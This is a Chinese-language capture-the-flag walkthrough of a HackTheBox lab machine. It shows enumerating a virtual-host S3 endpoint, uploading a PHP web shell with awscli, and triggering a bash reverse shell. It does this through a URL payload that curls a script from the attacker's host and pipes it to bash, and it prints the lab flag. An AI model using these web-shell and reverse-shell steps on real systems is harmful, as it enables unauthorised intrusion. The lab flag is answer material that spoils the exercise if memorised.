我的编程空间,编程开发者的网络收藏夹
学习永远不晚

s3存储容器与awscli的交互

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

s3存储容器与awscli的交互

介绍

各种类型、规模和行业的组织都在将云用于各种用例,例如数据备份、存储、灾难恢复、电子邮件、虚拟桌面、软件开发和测试等。因此,为公司的云基础架构提供安全配置以防止任何攻击至关重要。试验的靶机,该网站利用AWS S3存储桶作为其云存储设备。我们可以利用这个配置不佳的 S3 存储桶并在其上上传反向外壳。然后,我们可以访问相应的 URL 来执行反向文件并最终检索标志。

注意:请在生成后让机器有几分钟的时间正常启动,因为需要几分钟的加载时间。

列举

首先,我们将使用 Nmap 扫描检查开放端口:

nmap -sV 10.129.227.248

在这里插入图片描述

扫描显示端口 80(HTTP)和端口 (22SSH)两个端口已打开 - 使用我们的网络浏览器访问80端口。

http://10.129.227.248/

在这里插入图片描述

我们可以看到一个静态网页,其中包含音乐会门票预订部分,但它不起作用。让我们进一步尝试使用称为Wappalyzer的浏览器扩展来识别网站的技术堆栈。我们可以访问该网站,然后单击扩展图标以显示结果。

在这里插入图片描述

Wappalyzer将PHP识别为网站正在使用的编程语言。

向下滚动网页后,我们会看到“联系人”部分,其中包含电子邮件信息。这里给出的电子邮件有域名thetoppers.htb。

在这里插入图片描述

让我们添加一个条目thetoppers.htb具有相应 IP 地址在/etc/hosts文件里面,以便能够,在我们的浏览器中访问此域。

/etc/hosts文件用于将主机名解析为 IP 地址。默认情况下,/etc/hosts文件是能够在 DNS 服务器之前查询主机名解析,因此我们需要在/etc/hosts文件里面添加主域名,以使浏览器能够解析thetoppers.htb 的地址。

echo "10.129.227.248 thetoppers.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

什么是子域?

子域名是添加到网站域名开头的一条附加信息。它允许网站将特定功能(例如博客或在线商店)的内容与网站的其余部分分开和组织。

例如,如果我们访问hackthebox.com 则可以访问主网站。或者,我们可以访问ctf.hackthebox.com网站中用于 CTF 的部分。在这种情况下,ctf是子域,hackthebox是主域名,并且com是顶级域 (TLD)。虽然网址略有变化,您仍在HTB的网站上,在HTB的域下。

通常,不同的子域将具有不同的IP地址,因此当我们的系统查找子域时,它会获取处理该应用程序的服务器的地址。也可以让一个服务器处理多个子域。这是通过“基于主机的路由”或“虚拟主机路由”完成的,其中服务器使用 HTTP 请求中的 Host 标头来确定哪个应用程序用于处理请求。

由于我们有域thetoppers.htb,让我们枚举可能存在于同一服务器上的任何其他子域。有不同的枚举工具可用于此目的,如gobuster,wfuzz等等,在撰写本文时,我们将使用以下命令在对子域枚举的时候。

gobuster vhost -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain

我们将使用以下标志进行破坏。

vhost:使用 VHOST 进行暴力破解-w :单词列表的路径-u :指定网址

注意:如果使用Gobuster版本3.2.0及更高版本,我们还必须将–append-domain标志添加到我们的命令,以便枚举考虑已知的虚拟主机 (thetoppers.htb),并将其附加到单词列表 (word.thetoppers.htb) 中找到的单词。

gobuster将发送带有看起来像下面主机标头的请求

host: [word].thetoppers.htb

它将记录默认响应,并显示任何返回不同内容的响应。

在这里插入图片描述

结果表明存在一个名为s3.thetoppers.htb的子域。让我们也添加一个此子域的条目在/etc/hosts文件中。

echo "10.129.227.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

将域的条目添加到主机文件后,让我们使用浏览器访问。

在这里插入图片描述

该网页仅包含JSON。

{“状态”:“正在运行”}

注意:如果您收到的不是 JSON,而是代理错误,请给框几分钟时间以正确启动。

什么是 S3 存储桶?

快速 Google 搜索会返回包含关键字“s3 子域状态正在运行”的结果,指出S3是一个基于云的对象存储服务。它允许我们将东西存储在称为桶的容器中。S3 存储桶具有各种用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在 Amazon S3 存储桶中的文件称为 S3 对象。

我们可以借助s3存储桶与awscli进行交互。linux安装命令apt install awscli

首先,我们需要使用以下命令对其进行配置。

我们将对所有字段使用任意值,因为有时服务器配置为不检查亚马逊云服务器身份验证(尽管如此,它必须配置为某些东西才能工作)。

aws configure

在这里插入图片描述

我们可以使用该命令列出服务器托管的所有 S3 存储桶。

aws --endpoint=http://s3.thetoppers.htb s3 ls

在这里插入图片描述

我们还可以使用该命令列出指定存储桶下的对象和通用前缀。

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

在这里插入图片描述

我们看到文件index.php,.htaccess和一个名为images的目录在指定的存储桶中。好像是在端口 80 上运行的网站的 Webroot。因此,Apache 服务器使用此 S3 存储桶作为存储。

awscli还有另一个功能,允许我们将文件复制到远程存储桶。我们已经知道网站正在使用 PHP。因此,我们可以尝试将 PHP shell 文件上传到s3存储桶,因为它已上传到Webroot目录我们可以在浏览器中访问此网页,而浏览器又将执行此文件,我们将实现远程代码执行。

我们可以使用以下 PHP 单行代码,它使用system()函数采取URL参数cmd作为输入并将其作为系统命令执行。

让我们创建一个要上传的 PHP 文件。

echo '' > shell.php

在这里插入图片描述

然后,我们可以使用以下命令将此 PHP shell 上传到 thetoppers.htbS3 存储桶。

aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

在这里插入图片描述

使用 URL 参数cmd 执行操作系统命令。

http://thetoppers.htb/shell.php?cmd=id

在这里插入图片描述

来自服务器的响应包含操作系统命令 id 的输出,该命令ID 验证了我们在靶机上执行了代码。因此,现在让我们尝试获得一个反向外壳。

通过反向外壳,我们将触发远程主机连接回本地计算机的 IP 地址指定的侦听端口。我们可以使用以下方法获取本地计算机的tun0 IP 地址命令。

ifconfig

在这里插入图片描述

让我们通过创建一个包含以下 bash 反向 shell 有效负载的新文件shell.sh来获取反向 shell。它将在端口1337 上连接回我们的本地计算机。

#!/bin/bashbash -i >& /dev/tcp/10.10.16.25/1337 0>&1

在这里插入图片描述

我们将使用以下命令开启一个ncat去侦听本地端口1337上的侦听器。

nc -nvlp 1337

在这里插入图片描述

让我们在本地计算机上启动一个 Web 服务器端口 8000并托管此 bash 文件。这里必须注意此用于托管 Web 服务器的命令必须从包含反向 shell 文件的目录运行。因此,我们必须首先遍历到相应的目录,然后运行以下命令。

python3 -m http.server 8000

在这里插入图片描述

我们可以使用该实用程序从本地主机获取 bash 反向 shell 文件,然后将其通过管道传输到bash为了执行它。因此,让我们在浏览器中访问以下包含有效负载的 URL。

http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.15:8000/shell.sh|bash

在这里插入图片描述

我们在相应的侦听端口上收到一个反向外壳。

cat /var/www/flag.txt

在这里插入图片描述

该标志可以在/var/www/flag.txt找到。

a980d99281a28d638ac68b9bf9453c2b

来源地址:https://blog.csdn.net/m0_53008479/article/details/127644579

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

s3存储容器与awscli的交互

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Android APP与媒体存储服务的交互

简介:本文介绍如何在 Android 中,开发者的 APP 如何使用媒体存储服务(包含MediaScanner、MediaProvider以及媒体信息解析等部分),包括如何把 APP 新增或修改的文件更新到媒体数据库、如何在多媒体应用中隐藏
2022-06-06

云原生存储中的容器存储与 K8s 存储卷怎么理解

本篇文章为大家展示了云原生存储中的容器存储与 K8s 存储卷怎么理解,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。云原生存储的两个关键领域:Docker 存储卷、K8s 存储卷;Docker 存储卷
2023-06-04

能直接与CPU交换信息的存储器是哪个

能直接与CPU交换信息的存储器是缓存存储器,位于CPU和主存储器之间,它的主要作用是加快CPU对数据的访问速度,提高计算机系统的整体性能。能直接与CPU交换信息的存储器是缓存存储器(Cache Memory)。缓存存储器是计算机系统中一种高
2023-08-09

cookie保存之谜揭晓:详解浏览器与服务器之间的交互

随着互联网的发展,我们越来越多地使用浏览器进行网页浏览、购物、登录等操作。而在这些过程中,我们时常听到一个词语——cookie。那么cookie到底是什么?它的作用又是什么?今天我们就来揭秘cookie的保存之谜,详细解析浏览器与服务器之间
cookie保存之谜揭晓:详解浏览器与服务器之间的交互
2024-01-19

分享:容器云存储的需求考量与方案选择

容器云平台存储不仅仅是数据的持久化存储,也包括容器云平台自身的存储需求以及镜像存储需求,甚至需要考虑云上中间件,比如Kafka等对存储的需求。互联网公司的金融业务对金融行业的发展带来的巨大冲击和挑战,逼迫金融行业不得不考虑互联网金融业务和移
2023-06-04

计算机中能直接与CPU交换信息的存储器是什么

这篇文章主要介绍了计算机中能直接与CPU交换信息的存储器是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。能直接与CPU交换信息的存储器是:内存储器。内存储器是计算机主机的
2023-06-14

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录